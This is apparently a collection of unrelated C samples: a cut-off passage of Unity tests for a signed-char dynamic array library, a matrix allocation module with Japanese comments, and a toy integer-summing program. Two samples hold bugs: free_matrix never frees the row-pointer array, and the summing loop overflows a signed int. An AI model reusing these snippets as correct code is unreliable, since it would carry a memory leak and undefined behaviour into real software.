TEST_ASSERT_EQUAL('B', x); } TEST(SignedCharArrayTests, SignedCharArrayConcatNonEmptyArrayToNonEmptyArray) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&otherSignedCharArray, 'C'); SignedCharArrayPush(&otherSignedCharArray, 'D'); int result = SignedCharArrayConcat(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(4, signedCharArray.length); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('D', x); } TEST(SignedCharArrayTests, SignedCharArrayCountEmptyArray) { size_t result = SignedCharArrayCount(&signedCharArray); TEST_ASSERT_EQUAL(0, result); } TEST(SignedCharArrayTests, SignedCharArrayCountNonEmptyArray) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); size_t result = SignedCharArrayCount(&signedCharArray); TEST_ASSERT_EQUAL(2, result); } TEST(SignedCharArrayTests, SignedCharArrayDeleteFromEmptyArray) { int result = SignedCharArrayDelete(&signedCharArray, 'A'); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayDeleteNonExistingElement) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); int result = SignedCharArrayDelete(&signedCharArray, 'C'); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(2, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayDeleteExistingElement) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); int result = SignedCharArrayDelete(&signedCharArray, 'B'); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(1, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayDeleteAtZeroLength) { int result = SignedCharArrayDeleteAt(&signedCharArray, 0); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArrayDeleteAtExistingElement) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayDeleteAt(&signedCharArray, 2); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(4, signedCharArray.length); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArrayDeleteAtLessThanZeroIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayDeleteAt(&signedCharArray, -2); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(4, signedCharArray.length); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArrayDeleteAtGreaterThanLengthIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayDeleteAt(&signedCharArray, 5); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArrayDeleteAtLessThanNegativeLengthIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayDeleteAt(&signedCharArray, -6); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArrayDropOneEmptyArray) { int result = SignedCharArrayDrop(&signedCharArray, 1); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayDropManyEmptyArray) { int result = SignedCharArrayDrop(&signedCharArray, 10); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayDropLessThanArrayLength) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayDrop(&signedCharArray, 3); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(2, signedCharArray.length); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArrayDropGreaterThanArrayLength) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayDrop(&signedCharArray, 6); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayEmptyArrayIsEmpty) { int result = SignedCharArrayIsEmpty(&signedCharArray); TEST_ASSERT_EQUAL(1, result); } TEST(SignedCharArrayTests, SignedCharArrayNonEmptyArrayIsNotEmpty) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayIsEmpty(&signedCharArray); TEST_ASSERT_EQUAL(0, result); } TEST(SignedCharArrayTests, SignedCharArrayPush) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); TEST_ASSERT_EQUAL(5, signedCharArray.length); signed char x; int result = SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('A', x); result = SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('B', x); result = SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('C', x); result = SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('D', x); result = SignedCharArrayAt(&signedCharArray, 4, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArrayMultipleElementArrayToString) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); char* asString; int result = SignedCharArrayToString(&signedCharArray, &asString); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL_STRING("['A', 'B', 'C', 'D', 'E']", asString); free(asString); } TEST(SignedCharArrayTests, SignedCharArraySetZeroLength) { int result = SignedCharArraySet(&signedCharArray, 2, 'E'); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArraySetExistingElement) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); int result = SignedCharArraySet(&signedCharArray, 2, 'E'); TEST_ASSERT_EQUAL(GA_SUCCESS, result); signed char x; result = SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArraySetLessThanZeroIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); int result = SignedCharArraySet(&signedCharArray, -2, 'E'); TEST_ASSERT_EQUAL(GA_SUCCESS, result); signed char x; result = SignedCharArrayAt(&signedCharArray, -2, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArraySetGreaterThanLengthIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); int result = SignedCharArraySet(&signedCharArray, 4, 'E'); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArraySetLessThanNegativeLengthIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); int result = SignedCharArraySet(&signedCharArray, -5, 'E'); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } int SignedCharAscendingCompare(const void *a, const void *b) { __GENERIC_ARRAY_TYPE__ f = *((__GENERIC_ARRAY_TYPE__*)a); __GENERIC_ARRAY_TYPE__ s = *((__GENERIC_ARRAY_TYPE__*)b); if (GENERIC_ARRAY_VALUES_GREATER_THAN(f, s)) { return 1; } if (GENERIC_ARRAY_VALUES_LESS_THAN(f, s)) { return -1; } return 0; } int SignedCharDescendingCompare(const void *a, const void *b) { __GENERIC_ARRAY_TYPE__ f = *((__GENERIC_ARRAY_TYPE__*)a); __GENERIC_ARRAY_TYPE__ s = *((__GENERIC_ARRAY_TYPE__*)b); if (GENERIC_ARRAY_VALUES_LESS_THAN(f, s)) { return 1; } if (GENERIC_ARRAY_VALUES_GREATER_THAN(f, s)) { return -1; } return 0; } TEST(SignedCharArrayTests, SignedCharArraySortEmptyArray) { SignedCharArraySort(&signedCharArray, SignedCharAscendingCompare); TEST_ASSERT_EQUAL(0, SignedCharArrayCount(&signedCharArray)); } TEST(SignedCharArrayTests, SignedCharArraySortAscending) { SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArraySort(&signedCharArray, SignedCharAscendingCompare); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 4, &x); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArraySortDescending) { SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArraySort(&signedCharArray, SignedCharDescendingCompare); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('E', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 4, &x); TEST_ASSERT_EQUAL('A', x); } TEST(SignedCharArrayTests, SignedCharArrayOverlapEmptyArrays) { int result = SignedCharArrayOverlap(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, SignedCharArrayCount(&signedCharArray)); TEST_ASSERT_EQUAL(0, SignedCharArrayCount(&otherSignedCharArray)); } TEST(SignedCharArrayTests, SignedCharArrayOverlapNonEmptyArrayWithEmptyArray) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayOverlap(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(5, SignedCharArrayCount(&signedCharArray)); TEST_ASSERT_EQUAL(0, SignedCharArrayCount(&otherSignedCharArray)); SignedCharArraySort(&signedCharArray, SignedCharAscendingCompare); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 4, &x); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArrayOverlapEmptyArrayWithNonEmptyArray) { SignedCharArrayPush(&otherSignedCharArray, 'A'); SignedCharArrayPush(&otherSignedCharArray, 'B'); SignedCharArrayPush(&otherSignedCharArray, 'C'); SignedCharArrayPush(&otherSignedCharArray, 'D'); SignedCharArrayPush(&otherSignedCharArray, 'E'); int result = SignedCharArrayOverlap(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(5, SignedCharArrayCount(&signedCharArray)); TEST_ASSERT_EQUAL(5, SignedCharArrayCount(&otherSignedCharArray)); SignedCharArraySort(&signedCharArray, SignedCharAscendingCompare); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 4, &x); TEST_ASSERT_EQUAL('E', x); } TEST(SignedCharArrayTests, SignedCharArrayOverlapNonEmptyArrays) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); SignedCharArrayPush(&signedCharArray, 'E'); SignedCharArrayPush(&otherSignedCharArray, 'A'); SignedCharArrayPush(&otherSignedCharArray, 'B'); SignedCharArrayPush(&otherSignedCharArray, 'C'); SignedCharArrayPush(&otherSignedCharArray, 'D'); SignedCharArrayPush(&otherSignedCharArray, 'D'); SignedCharArrayPush(&otherSignedCharArray, 'E'); SignedCharArrayPush(&otherSignedCharArray, 'E'); SignedCharArrayPush(&otherSignedCharArray, 'E'); int result = SignedCharArrayOverlap(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(10, SignedCharArrayCount(&signedCharArray)); TEST_ASSERT_EQUAL(8, SignedCharArrayCount(&otherSignedCharArray)); SignedCharArraySort(&signedCharArray, SignedCharAscendingCompare); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 3, &x); TEST_ASSERT_EQUAL('B', x); SignedCharArrayAt(&signedCharArray, 4, &x); TEST_ASSERT_EQUAL('C', x); SignedCharArrayAt(&signedCharArray, 5, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 6, &x); TEST_ASSERT_EQUAL('D', x); SignedCharArrayAt(&signedCharArray, 7, &x); TEST_ASSERT_EQUAL('E', x); SignedCharArrayAt(&signedCharArray, 8, &x); TEST_ASSERT_EQUAL('E', x); SignedCharArrayAt(&signedCharArray, 9, &x); TEST_ASSERT_EQUAL('E', x); }
C
#include <stdio.h> #include <stdlib.h> #include "vecmat.h" /* Matrixを生成する */ Matrix *new_matrix(int n, int m) { int i, j; Matrix *matrix; if ((matrix = (Matrix*)malloc(sizeof(Matrix))) == NULL) { fprintf(stderr, "malloc() failed.\n"); exit(-1); } matrix->n = n; matrix->m = m; if ((matrix->t = (double**)malloc(sizeof(double*) * n)) == NULL) { fprintf(stderr, "malloc() failed.\n"); exit(-1); } for (i = 0; i < n; i++) { if ((matrix->t[i] = (double*)malloc(sizeof(double) * m)) == NULL) { fprintf(stderr, "malloc() failed.\n"); exit(-1); } /* 要素を0で初期化する */ for (j = 0; j < m; j++) matrix->t[i][j] = 0.0; } return matrix; } /* Matrixを解放する */ void free_matrix(Matrix *matrix) { int i; for (i = 0; i < matrix->n; i++) free(matrix->t[i]); free(matrix); } /* Matrixを表示する */ void matprint(Matrix *matrix) { int i, j; for (i = 0; i < matrix->n; i++) { for (j = 0; j < matrix->m; j++) printf("%f ", matrix->t[i][j]); printf("\n"); } }
C
#include<stdio.h> int main() { int i; int sum = 0; for(i=1;i<=978972979;i++) { sum = sum+i; } printf("%d",sum); }